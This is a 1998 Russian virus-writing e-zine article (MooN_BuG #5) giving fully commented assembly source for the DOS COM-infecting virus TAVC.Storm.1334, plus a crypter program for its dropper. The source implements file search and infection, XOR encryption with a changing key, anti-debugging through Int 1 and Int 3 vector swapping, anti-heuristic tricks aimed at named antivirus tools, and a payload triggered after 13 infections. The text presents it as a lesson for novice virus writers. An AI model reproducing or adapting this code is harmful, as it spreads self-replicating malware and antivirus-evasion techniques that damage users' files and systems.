[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 5, May 1998                                           file 009

                            Вирус TAVC.Storm.1334
                                                              by RedArc

Всё.  Пробила  меня  совесть... ;) и решил я для начинающих вирмейкеров все же
откомментировать  какой-либо  исходник  вируса.  Но  поскольку  комментировать
что-либо  готовое  мне  опять  же  было  в  лом,  то  я и решил поразвлечься в
написании  еще одного зверька. Название он получил Storm потому, что под рукой
оказалась  одноименная демка, которую и было принято запихать в этого зверя. А
заодно,  я  решил  в  этом  вирусе  показать как с помощью даже фиксированного
количества  пятен  сделать  из ревизоров ADINF и AVPI никчемных болванчиков (с
точки  зрения лечения неизвестных вирусов). Ну и для прикола над долбагерами и
с  целью обезвреживания антивирусных анализаторов кода при первых же приступах
желания  покопаться в этом вирусе, я вставил в расшифровщик игру с отладочными
прерываниями -  перехватываются Int 01h и Int 03h, затем их адреса меняем, для
пущего  секса, в таблице прерываний местами. Ну а для тех эмуляторов, кому это
по    барабану,   вставил   несколько  антиэвристических  приемов.  Особо  мне
понравилось смотреть как MScan дизассемблирует и лажается при первых признаках
антиэвристики...  А вообще, идея показывать пользователю процесс интерпритации
кода  мне  весьма понравился. Да, для прикола я в вирус вставил антиэвристику,
описанную еще в MooN BuG #1... Но это уже не актуально.
Ну  а так, как вирус наш - учебный (c) Хижняк, то сделаем мы его криптованным.
Да  и не просто криптованным - а с переменным ключем шифра. Для детектирования
этого  вируса  это  конечно  по барабану, так как чуть ли не половина вирусных
инструкций  находится  в нешифрованной части вируса, т.е. сигнатура налицо, но
для  лечения  такими приблудами, как TBAV Clean этот прием (да и для любителей
покопаться  в  файле  с  помощью  Hiew,  это  должно доставить хоть сколько то
неприятных минут ;) Правда, совсем несколько ;)
В  принципе, в пятна (в комментариях они названы точками) можно понапихать еще
всякой  антиотладочной  фигни  при  желании,  но  такового  желания  у меня не
нашлось.  Кроме  того, алгоритм криптования вируса прост до безобразия, что не
есть хорошо.
Для  совсем еще начинающих вирмейкеров, в конце исходника приведена часть DTA,
которая  заполняется  при  вызовах  функций 4eh и 4fh прерывания 21h, это чтоб
легче  было понять, откуда чего берется, и что в вирусах типа Search совсем не
обязательно захламлять алгоритм ненужными вызовами, так как все характеристики
файла DOS нам дарит сама.
Конечно,  хорошо  было  бы  буферы,  используемые  вирусом,  убрать  в  другие
сегменты,  но  это  было  бы сейчас не столь наглядно, да и ломы... Вирь и так
получился довольно не слабых размеров, при почти ничтожной функциональности.
Да что я говорю - сами смотрите ;)

=== Cut ===
;1998 (c) by RedArc // TAVC
Model Tiny
.code
.286
jumps

org 100h

MaxLength equ 65535 - MyLength - 80h - 20 - CryptLength - BuffNewPLength

START:
;Переход на первую точку вируса
     jmp Entry1
     dw 100h + VirOffs
;Признак присутствия вируса в файле
Ident db 0cch
     P1Length equ $-START
     db 20 dup (90h)
Entry1:
;Первая точка вируса, делает переход на вторую точку вируса
     Entry1Offs equ $-START
     stc
     jc Entry2
     P2Length equ $-Entry1
     db 20 dup (90h)
Entry2:
;Вторая точка вируса, делает переход на третью точку вируса
     Entry2Offs equ $-START
     clc
     jnc Entry3
     P3Length equ $-Entry2
     db 20 dup (90h)
Entry3:
;Третья точка вируса
;Захватывает прерывание 03h
;Переход на четвертую точку вируса
     Entry3Offs equ $-START
     pusha
     mov cx,3
     xor ax,ax
     add si,cx
     mov ah,22h
     mov dx, word ptr ds:[si-1]
     mov ch,cl
     push dx
     add cl,ah
     add dx,Int03hLength
     xchg ch,cl
     mov ax,cx
     int 21h
     jmp Entry4
     P4Length equ $-Entry3
     db 20 dup (90h)
Entry4:
;Четвертая точка вируса
;Захватывает прерывание 01h
;Переход на пятую точку вируса
     Entry4Offs equ $-START
     pop dx
     mov cx,1
     xor ax,ax
     mov ah,24h
     mov ch,cl
     add cl,ah
     mov ax,cx
     xchg ah,al
     int 21h
     jmp Entry5
     P5Length equ $-Entry4
     db 20 dup (90h)
Entry5:
;Пятая точка вируса
;Производит обмен векторов Int 03h и Int 01h
;Переход на начало кода вируса
     Entry5Offs equ $-START
     xor ax,ax
     mov es,ax
     cli
     mov ax,word ptr es:[01h*4]
     mov bx,word ptr es:[01h*4+2]
     mov cx,word ptr es:[03h*4]
     mov dx,word ptr es:[03h*4+2]
     mov word ptr es:[01h*4],cx
     mov word ptr es:[01h*4+2],dx
     mov word ptr es:[03h*4],ax
     mov word ptr es:[03h*4+2],bx
     sti
     push cs
     pop es
     jmp Entry
     P6Length equ $-Entry5
     P7 equ $-START
     P7Length = P7-3
     db 300h dup (90h)
     int 20h
VirStart:
;Точка отсчета смещений для вируса
;Начало тела вируса
VirOffs equ $-START
Int03h:
;Обработчик прерывания 03h
     lodsw
     xor ax,cx
     iret
     nop
Int03hLength equ $-VirStart
int01h:
;Обработчик прерывания 01h
     xor ax,cx
     stosw
     iret
     nop
Int01hLength equ $-VirStart
CryptKey equ $-VirStart
;Текущий ключ, которым зашифровано основное тело вируса
dw 0aaaah
Entry:
;Начало кода вируса
    EntryLength equ $-VirStart
    stc     ;устанавливаем флаг переноса
    pushf   ;заталкиваем флаги в стек
    call Entry6 ;вызываем подпрограмму определения смещения кода вируса в памяти
SUBPBLength equ $-VirStart
False:  ;при нормальных обстаятельствах эти байты никогда не должны выполниться
    cli
    hlt
FalseLength equ $-False
    sub ax,SUBPBLength ;вычитаем из смещения вируса расстояние до точки отсчета
    popf ;восстанавливаем флаги из стека
    jc Entry7 ;обход подпрограммы
Entry6:
    pop ax ;в регистр ax помещаем адрес возврата из стека
    add ax,FalseLength ;увеличиваем адрес возврата
    push ax ;заносим в стек адрес возврата
    sub ax,FalseLength ;восстанавливаем значение в регистре ax
    ret ;возвращаемся
Entry7:
    clc ;сбрасываем флаг переноса
    push ax  ;сохраняем адрес точки отсчета смещений в стеке
    xchg ax,bp ;заносим адрес смещений в регистр bp
;Ради прикола над эмуляторами
    push ax bx cx dx
    xor ax,ax
    push cs
    mov es,ax
    mov bx,word ptr es:[413h] ;загружаем в регистр bx слово по адресу 0:413h
    mov cx,word ptr es:[03h*4] ;в регистре cx будет значение из регистра cx
    mov dx,word ptr es:[01h*4] ;в регистре dx будет значение bp+Int03hLength
    pop es
    int 12h ;возвращает в регистре ax слово, которое лежит по адресу 0:413h
    sub ax,bx
;AX = 0
    jz CryptBegin1
    jmp False
CryptBegin1:
    add ax,cx
    sub ax,bp
;AX = 0
    jz CryptBegin2
    jmp False
CryptBegin2:
    sub dx,bp
    add ax,dx
    sub ax,Int03hLength
;AX = 0
    jz CryptBegin3
    jmp False
CryptBegin3:
;Прикол с Int 15h
    mov ax,1111h
    mov dx,1
    mov cx,1
    int 15h
;AX = 8611h
    add ah,al
    xchg ah,al
    xor ah,ah
    add ax,69h
;AX = 100h
    dec ah
;AX = 0
    cmp ax,0
    je CryptBegin4
    jmp False
CryptBegin4:
    pop dx cx bx ax
;Препроцессор к декриптору
    mov si,bp ;помесчаем в si адрес точки отсчета смещений
    add si,CryptKey ;вычисляем в si смещение ключа шифра
    mov dx,word ptr cs:[si] ;помесчаем в dx ключ шифра
    pop si ;извлекаем из стека адрес точки отсчета смещений и помещаем его в si
    add si, CryptStartLength ;вычисляем в si начало зашифрованного кода
    mov di,si ;помесчаем адрес начала зашифрованного кода в di
    mov cx,CryptLength / 2 + 1 ;вычисляем в cx длину зашифрованного участка кода
CryptLoop:
    int 03h ;помесчаем в ax очередное слово и ксорим его со значением cx
    xor ax,dx ;ксорим ax с ключем шифра
    int 01h ;ксорим ax со значением cx и расшифрованное слово помесчаем обратно
    loop CryptLoop ;цикл декодирования шифрованной части вируса
;Переход на начало зашифрованной части вируса
    mov bx,bp
    add bx,ALALA
    push cs
    xor ax,ax
    mov es,ax
    cli
    mov word ptr es:[01h*4],bx
    mov ax,cs
    mov word ptr es:[01h*4+2],ax
    sti
    pop es
IDEA equ $-VirStart
    int 01h
CryptStart:
CryptStartLength equ $-VirStart
    int 20h
;Зашифрованная строка названия вируса
 db 00h xor 0f0h, 'T' xor 0f0h, 'A' xor 0f0h, 'V' xor 0f0h, 'C' xor 0f0h
 db '.' xor 0f0h, 'S' xor 0f0h, 't' xor 0f0h, 'o' xor 0f0h, 'r' xor 0f0h
 db 'm' xor 0f0h, '.' xor 0f0h, '0' xor 0f0h, '1' xor 0f0h, 00h xor 0f0h
ALALA equ $-VirStart
CryptStart1:
;Обнуление счетчика инфицированных файлов
    mov si,bp
    add si,FCount
    mov byte ptr ds:[si],0h
;Перезапись мусорных байт, полученных от генерации случайных чисел
    mov si,bp
    add si,CleanUp
    mov cx,16
RBCreate:
    call RandomByte
    mov di,word ptr ds:[si]
    add di,bp
    mov byte ptr ds:[di],al
    add si,2
    loop RBCreate
;Считываем первую часть вируса в буфер
    cld
    mov di,bp
    add di,NewP1
    mov si,100h
    mov cx,P1Length
    rep movsb
    mov si,100h+Entry1Offs
    mov cx,P2Length
    rep movsb
    mov si,100h+Entry2Offs
    mov cx,P3Length
    rep movsb
    mov si,100h+Entry3Offs
    mov cx,P4Length
    rep movsb
    mov si,100h+Entry4Offs
    mov cx,P5Length
    rep movsb
    mov si,100h+Entry5Offs
    mov cx,P6Length
    rep movsb
;Восстановление захваченных байт
    mov si,bp
    add si,Byte_1
    mov di,100h
    mov cx,P1Length
    rep movsb
    mov si,bp
    add si,Byte_2
    mov di,100h+Entry1Offs
    mov cx,P2Length
    rep movsb
    mov si,bp
    add si,Byte_3
    mov di,100h+Entry2Offs
    mov cx,P3Length
    rep movsb
    mov si,bp
    add si,Byte_4
    mov di,100h+Entry3Offs
    mov cx,P4Length
    rep movsb
    mov si,bp
    add si,Byte_5
    mov di,100h+Entry4Offs
    mov cx,P5Length
    rep movsb
    mov si,bp
    add si,Byte_6
    mov di,100h+Entry5Offs
    mov cx,P6Length
    rep movsb
;Копируем адрес обработчика 21h прерывания в адрес обработчика 03h прерывания
    mov si,bp
    add si,Get21Vec
    mov ax,word ptr ds:[si]
    int 21h
    push es
    xchg bx,dx
    mov si,bp
    add si,SetNewVec
    mov ax,word ptr ds:[si]
    pop ds
    int 21h
    push cs
    pop ds
    push cs
    pop es
;Устанавливаем DTA вируса в конец
    mov dx,bp
    add dx,DTA
    mov si,bp
    add si,SetDTAVec
    mov ah,byte ptr ds:[si]
    int 03h
;Поиск жертвы
    mov si,bp
    add si,FindFirstVec
    mov ah,byte ptr ds:[si]
    mov cx,0ffh
    mov di,bp
    add di,FMask
    push di
    mov byte ptr ds:[di],'*'
    inc di
    mov byte ptr ds:[di],'.'
    inc di
    mov byte ptr ds:[di],'C'
    inc di
    mov byte ptr ds:[di],'o'
    inc di
    mov byte ptr ds:[di],'M'
    pop dx
Interrupt:
    int 03h
    jb NotFound
    jmp FileTested
NotFound:
;Восстанавливаем DTA программы
    mov si,bp
    add si,SetDTAVec
    mov ah,byte ptr ds:[si]
    mov dx,80h
    int 03h
;Отдаем управление программе
    pop ax
    pop bx
    pop cx
    popa
    jmp si
FileTested:
;Проверяем размер файла
    mov si,bp
    add si,DTA+1ah
    mov cx, word ptr ds:[si]
    mov ax, word ptr ds:[si+2]
    cmp ax,0
    jz LowCmp
    jmp short FindNext
LowCmp:
    xchg ax,cx
    and ax,0f000h
    cmp ax,0f000h
    jnz ClearAttr
FindNext:
;Ищем следующий файл
    mov si, FindNextVec
    add si,bp
    mov ah,byte ptr ds:[si]
    jmp short Interrupt
ClearAttr:
;Очищаем атрибуты файла
    mov si,SetAttrVec
    add si,bp
    mov ax,word ptr ds:[si]
    mov dx,bp
    add dx,DTA+1eh
    push dx
    xor cx,cx
    int 03h
OpenFile:
;Открываем файл
    mov si,OpenFileVec
    add si,bp
    mov ax,word ptr ds:[si]
    pop dx
    int 03h
;Заносим описатель файла в регистр bx
    xchg ax,bx
;Считываем первую порцию данных из файла
    mov si,ReadFileVec
    add si,bp
    mov ah,byte ptr ds:[si]
    mov cx,P1Length
    mov dx,bp
    add dx,Byte_1
    push dx
    int 03h
;Проверяем на присутствие сигнатуры EXE-файла
    pop si
    mov cx,word ptr ds:[si]
    cmp cx,'MZ'
    jz CloseFile
    cmp cx,'ZM'
    jz CloseFile
;Проверяем идентификатор присутствия вируса в найденном файле
    mov al,byte ptr ds:[si+4]
    cmp al,0cch
    jz CloseFile
    jmp ReadNext
CloseFile:
;Закрываем файл
    mov si,bp
    add si,CloseFileVec
    mov ah,byte ptr ds:[si]
    int 03h
;Восстанавливаем атрибуты
    mov si,SetAttrVec
    add si,bp
    mov ax,word ptr ds:[si]
    mov dx,bp
    push dx
    add dx,DTA+1eh
    pop si
    add si,DTA+15h
    xor cx,cx
    mov cl,byte ptr ds:[si]
    int 03h
;Проверяем счетчик
    mov si,bp
    add si,FCount
    mov al,byte ptr ds:[si]
    cmp al,13
    je Effect
    jmp short NoEffect
Effect:
;обнуляем счетчик
    xor ax,ax
    mov byte ptr ds:[si],al
;если счетчик достиг критического значения - вызываем эффект
db 00Eh, 01Fh, 0B8h, 000h, 0F8h, 08Eh, 0D8h, 0B8h, 000h, 0A0h, 08Eh, 0C0h
db 0B8h, 011h, 000h, 0CDh, 010h, 0FDh, 0BEh, 0FFh, 0FFh, 0BFh, 0FFh, 0FFh
db 0B9h, 0FFh, 0FFh, 0F3h, 0A4h, 0B0h, 046h, 0E6h, 043h, 0E4h, 061h, 00Ch
db 003h, 0E6h, 061h, 0BAh, 0D4h, 003h, 0BBh, 000h, 000h, 0ACh, 024h, 01Fh
db 00Ch, 005h, 0E6h, 042h, 0B0h, 00Ch, 08Ah, 0E7h, 0EFh, 0FEh, 0C0h, 08Ah
db 0E3h, 0EEh, 081h, 0C3h, 007h, 087h, 0B4h, 001h, 0CDh, 016h, 074h, 0E5h
db 0B4h, 000h, 0CDh, 016h, 03Ch, 01Bh, 075h, 0DDh, 0B8h, 003h, 000h, 0CDh
db 010h, 0E4h, 061h, 024h, 0FCh, 0E6h, 061h
NoEffect:
;Ищем следующий файл
    jmp FindNext
Move20:
;Сдвигаем указатель файла на 20 позиций к концу
    push si
    mov si,ReadFileVec
    add si,bp
    mov ah,byte ptr ds:[si]
    pop si
    mov cx,20
    mov dx,bp
    add dx,Byte_0
    int 03h
    ret
ReadNext:
;Продолжаем считывать из файла
    mov si,ReadFileVec
    add si,bp
    call Move20
    mov ah,byte ptr ds:[si]
    mov cx,P2Length
    mov dx,bp
    add dx,Byte_2
    int 03h
    call Move20
    mov ah,byte ptr ds:[si]
    mov cx,P3Length
    mov dx,bp
    add dx,Byte_3
    int 03h
    call Move20
    mov ah,byte ptr ds:[si]
    mov cx,P4Length
    mov dx,bp
    add dx,Byte_4
    int 03h
    call Move20
    mov ah,byte ptr ds:[si]
    mov cx,P5Length
    mov dx,bp
    add dx,Byte_5
    int 03h
    call Move20
    mov ah,byte ptr ds:[si]
    mov cx,P6Length
    mov dx,bp
    add dx,Byte_6
    int 03h
;Смещаем описатель файла в конец
    mov si,MoveHandleEndVec
    add si,bp
    mov ax,word ptr ds:[si]
    xor cx,cx
    xor dx,dx
    int 03h
;Выбираем новый ключ шифра
NewCode:
    mov ax,bp
    mov si,ax
    add si,CryptKey
    mov word ptr ds:[si],ax
;Записываем нешифрованную часть тела вируса
    mov si,WriteFileVec
    add si,bp
    mov ah,byte ptr ds:[si]
    mov dx,bp
    mov cx,CryptStartLength
    int 03h
;Переносим часть тела вируса в буфер для последующей шифровки
    mov si,bp
    mov di,bp
    push cs
    add di,BuffCoder
    pop es
    add si,CryptStartLength
    push di
    mov cx,CryptLength
    rep movsb
;Шифруем буфер
    mov dx,bp
    pop si
    mov di,si
    mov cx,CryptLength / 2 + 1
CryptLoop1:
    lodsw
    xor ax,cx
    xor ax,dx
    xor ax,cx
    stosw
    loop CryptLoop1
;Записываем шифрованный буфер в конец файла
    mov si,bp
    add si,WriteFileVec
    mov ah,byte ptr ds:[si]
    mov dx,bp
    add dx,BuffCoder
    mov cx,CryptLength
    int 03h
;Смещаемся в начало файла
    mov si,MoveHandleStartVec
    add si,bp
    mov ax,word ptr ds:[si]
    xor cx,cx
    xor dx,dx
    int 03h
;Калькулируем и записываем нулевую точку входа вируса
    mov si,bp
    add si,DTA+1ah
    mov ax, word ptr ds:[si]
    inc ah
    mov si,bp
    add si,NewP1+2
    mov word ptr ds:[si],ax
    mov dx,bp
    add dx,NewP1
    mov si,bp
    add si,WriteFileVec
    mov ah,byte ptr ds:[si]
    mov cx,P1Length
    int 03h
;Записываем остальные точки вируса
    call Move20
    mov dx,bp
    add dx,NewP2
    mov ah,byte ptr ds:[si]
    mov cx,P2Length
    int 03h
    call Move20
    mov dx,bp
    add dx,NewP3
    mov ah,byte ptr ds:[si]
    mov cx,P3Length
    int 03h
    call Move20
    mov dx,bp
    add dx,NewP4
    mov ah,byte ptr ds:[si]
    mov cx,P4Length
    int 03h
    call Move20
    mov dx,bp
    add dx,NewP5
    mov ah,byte ptr ds:[si]
    mov cx,P5Length
    int 03h
;Калькулируем и записываем последнюю точку вируса
    mov si,bp
    add si,DTA+1ah
    mov ax,word ptr ds:[si]
    sub ax,P7Length
    add ax,24-15
    mov si,bp
    add si,NewP6 + P6Length - 2
    mov word ptr ds:[si],ax
    call Move20
    mov dx,bp
    add dx,NewP6
    mov si,bp
    add si,WriteFileVec
    mov ah,byte ptr ds:[si]
    mov cx,P6Length
    int 03h
;Увеличиваем счетчик инфицированных файлов
    mov si,bp
    add si,FCount
    mov al,byte ptr ds:[si]
    inc al
    mov byte ptr ds:[si],al
;Восстанавливаем дату и время файла
    mov si,bp
    push si
    add si,SetDateTimeVec
    mov ax,word ptr ds:[si]
    pop si
    add si,DTA+16h
    mov cx,word ptr ds:[si]
    mov dx,word ptr ds:[si+2]
    int 03h
;Заканчиваем обработку файла
    jmp CloseFile
RandomByte:
        push si
        mov si,bp
        add si,r2
        mov ax,word ptr cs:[si]
        mov si,bp
        add si,r1
        mov byte ptr cs:[si],al
        add ah,al
        mov si,bp
        add si,r3
        mov al,byte ptr cs:[si]
        mov si,bp
        add si,r2
        mov byte ptr cs:[si],al
        add al,ah
        rol al,1
        mov si,bp
        add si,r3
        mov byte ptr cs:[si],al
        pop si
        ret
;Данные вируса
r3 equ $-VirStart
db 33
r2 equ $-VirStart
db 98
r1 equ $-VirStart
db 3
FMask equ $-VirStart
db 'DrWeb',0h
FCount equ $-VirStart
db ?
;Смещения мусорных байт
CleanUp equ $-VirStart
dw CleanUp1, CleanUp2, CleanUp3, CleanUp4, CleanUp5
dw CleanUp6, CleanUp7, CleanUp8, CleanUp9, CleanUp10
dw CleanUp11, CleanUp12, CleanUp13, CleanUp14, CleanUp15, CleanUp16
;Байты начала программы
Byte_1 equ $-VirStart
db P1Length dup (90h)
CleanUp11 equ $-VirStart
db 0ffh
Byte_2 equ $-VirStart
db P2Length dup (90h)
CleanUp12 equ $-VirStart
db 0ffh
Byte_3 equ $-VirStart
db P3Length dup (90h)
CleanUp13 equ $-VirStart
db 0ffh
Byte_4 equ $-VirStart
db P4Length dup (90h)
CleanUp14 equ $-VirStart
db 0ffh
Byte_5 equ $-VirStart
db P5Length dup (90h)
CleanUp15 equ $-VirStart
db 0ffh
Byte_6 equ $-VirStart
db P6Length dup (90h)
CleanUp16 equ $-VirStart
db 0ffh
;Данные для вызова прерываний
Get21Vec equ $-VirStart
dw 3521h
SetNewVec equ $-VirStart
dw 2503h
SetDTAVec equ $-VirStart
db 1ah
FindFirstVec equ $-VirStart
db 4eh
FindNextVec equ $-VirStart
db 4fh
;Мусорный байт
CleanUp1 equ $-VirStart
db 0ffh
SetAttrVec equ $-VirStart
dw 4301h
;Мусорный байт
CleanUp2 equ $-VirStart
db 0ffh
OpenFileVec equ $-VirStart
dw 3d02h
;Мусорный байт
CleanUp3 equ $-VirStart
db 0ffh
ReadFileVec equ $-VirStart
db 3fh
;Мусорный байт
CleanUp4 equ $-VirStart
db 0ffh
CloseFileVec equ $-VirStart
db 3eh
;Мусорный байт
CleanUp5 equ $-VirStart
db 0ffh
MoveHandleEndVec equ $-VirStart
dw 4202h
;Мусорный байт
CleanUp6 equ $-VirStart
db 0ffh
WriteFileVec equ $-VirStart
db 40h
;Мусорный байт
CleanUp7 equ $-VirStart
db 0ffh
MoveHandleStartVec equ $-VirStart
dw 4200h
;Мусорный байт
CleanUp8 equ $-VirStart
db 0ffh
SetDateTimeVec equ $-VirStart
dw 5701h
;Мусорный байт
CleanUp9 equ $-VirStart
db 0ffh
;Мусорный байт
CleanUp10 equ $-VirStart
db 0ffh
CryptLength equ $-CryptStart
MyLength equ $-VirStart
;!!!!!
;Все, что находится ниже этой отметки к файлу при инфицировании не дописывается
;!!!!!
BuffNewP:
;Буфер для хранения новых точек вируса
NewP1 equ $-VirStart
db P1Length dup (?)
NewP2 equ $-VirStart
db P2Length dup (?)
NewP3 equ $-VirStart
db P3Length dup (?)
NewP4 equ $-VirStart
db P4Length dup (?)
NewP5 equ $-VirStart
db P5Length dup (?)
NewP6 equ $-VirStart
db P6Length dup (?)
BuffNewPLength equ $-BuffNewP
;Буфер для операций ввода-вывода
Byte_0 equ $-VirStart
db 20 dup (?)
;Здесь начинается Data Transfer Area (DTA) вируса
L:
DTA equ $-VirStart
db 80h dup (?)
;=============================================================================
;||Часть структуры DTA, заполняемая после вызовов Int 21h функций 4eh и 4fh ||
;=============================================================================
;Смещение от начала DTA          Значение
;-----------------------------------------------------------------------------
;15h                             атрибут файла
;16h                             время последней модификации файла
;18h                             дата последней модификации файла
;1ah                             младшая часть размера файла (количество байт в последнем блоке)
;1ch                             старшая часть размера файла (количество блоков -1 по 65535 байт)
;1eh                             имя файла - 13 байт (например: filename.com,0h)
;-----------------------------------------------------------------------------
BuffCoder equ $-VirStart
end START
=== Cut ===

Да,  чуть  не  забыл... Полученный дроппер необходимо для начала покриптовать.
Ниже исходник программы, которая это делает.

=== Cut ===
;Приблуда к дропперу вируса TAVC.Storm.1334
Model Tiny
.code
.286
org 100h
AllLength equ 0909h
CryptStart equ 0481h
start:
    mov ax,3d02h
    lea dx,FNAME
    int 21h
    xchg ax,bx
    mov ah,3fh
    mov cx,AllLength
    lea dx,BUFF
    push dx
    int 21h
    mov ax,4200h
    xor cx,cx
    xor dx,dx
    int 21h
    mov dx,0aaaah
    mov cx,AllLength-CryptStart / 2 + 1
    pop si
    add si,CryptStart
    mov di,si
L1:
    lodsw
    xor ax,cx
    xor ax,dx
    xor ax,cx
    stosw
    loop L1
    mov ah,40h
    lea dx,BUFF
    mov cx,AllLength
    int 21h
    mov ah,3eh
    int 21h
    int 20h
FNAME db 'storm.com',0h
BUFF label byte
end start
=== Cut ===